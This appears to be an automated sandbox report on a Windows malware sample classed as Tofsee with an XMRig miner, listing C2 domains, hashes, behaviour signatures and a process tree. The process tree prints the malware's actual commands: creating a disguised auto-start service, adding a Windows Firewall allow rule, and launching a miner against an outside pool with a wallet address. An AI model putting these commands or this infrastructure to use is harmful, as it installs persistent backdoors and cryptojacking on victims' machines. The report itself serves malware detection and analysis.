Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    17/11/2022, 11:43

General

  • Target
    file.exe
  • Size 164KB
  • Sample221117-nvkhmsac9x
  • SHA256 41ba8b23261f263ddf53c94df2c776bcf4b100c46f39bebaccd1e0ee54f696ab
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1440
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\dotkvhrv\
      2⤵
        PID:2008
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ztjadben.exe" C:\Windows\SysWOW64\dotkvhrv\
        2⤵
          PID:1512
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create dotkvhrv binPath= "C:\Windows\SysWOW64\dotkvhrv\ztjadben.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1348
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description dotkvhrv "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1752
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start dotkvhrv
          2⤵
          • Launches sc.exe
          PID:2016
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1660
      • C:\Windows\SysWOW64\dotkvhrv\ztjadben.exe
        C:\Windows\SysWOW64\dotkvhrv\ztjadben.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:728
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1028
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1612

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            ztjadben.exe

            • Path C:\Users\Admin\AppData\Local\Temp\ztjadben.exe
            • Size 10.2MB
            • SHA256 2a5dd337759b5767dedc5c5dfb1f81c2b3abd3bc3af9f4fe52e0cf0ec8bfc092
            • MD5 SHA1 SHA512 SSDEEP

            ztjadben.exe

            • Path C:\Windows\SysWOW64\dotkvhrv\ztjadben.exe
            • Size 10.2MB
            • SHA256 2a5dd337759b5767dedc5c5dfb1f81c2b3abd3bc3af9f4fe52e0cf0ec8bfc092
            • MD5 SHA1 SHA512 SSDEEP

            memory/728-72-0x0000000000400000-0x000000000058E000-memory.dmp

            memory/728-70-0x00000000006FB000-0x000000000070C000-memory.dmp

            memory/1028-83-0x0000000000160000-0x0000000000166000-memory.dmp

            memory/1028-89-0x0000000000230000-0x0000000000235000-memory.dmp

            memory/1028-98-0x0000000000090000-0x00000000000A5000-memory.dmp

            memory/1028-95-0x0000000000240000-0x0000000000247000-memory.dmp

            memory/1028-92-0x0000000005880000-0x0000000005C8B000-memory.dmp

            memory/1028-86-0x0000000000220000-0x0000000000230000-memory.dmp

            memory/1028-80-0x0000000001850000-0x0000000001A5F000-memory.dmp

            memory/1028-66-0x0000000000090000-0x00000000000A5000-memory.dmp

            memory/1028-68-0x0000000000090000-0x00000000000A5000-memory.dmp

            memory/1028-79-0x0000000000090000-0x00000000000A5000-memory.dmp

            memory/1440-54-0x0000000076181000-0x0000000076183000-memory.dmp

            memory/1440-58-0x0000000000400000-0x000000000058E000-memory.dmp

            memory/1440-76-0x000000000075B000-0x000000000076C000-memory.dmp

            memory/1440-57-0x0000000000220000-0x0000000000233000-memory.dmp

            memory/1440-56-0x000000000075B000-0x000000000076C000-memory.dmp

            memory/1440-77-0x0000000000400000-0x000000000058E000-memory.dmp

            memory/1612-99-0x00000000000D0000-0x00000000001C1000-memory.dmp

            memory/1612-101-0x00000000000D0000-0x00000000001C1000-memory.dmp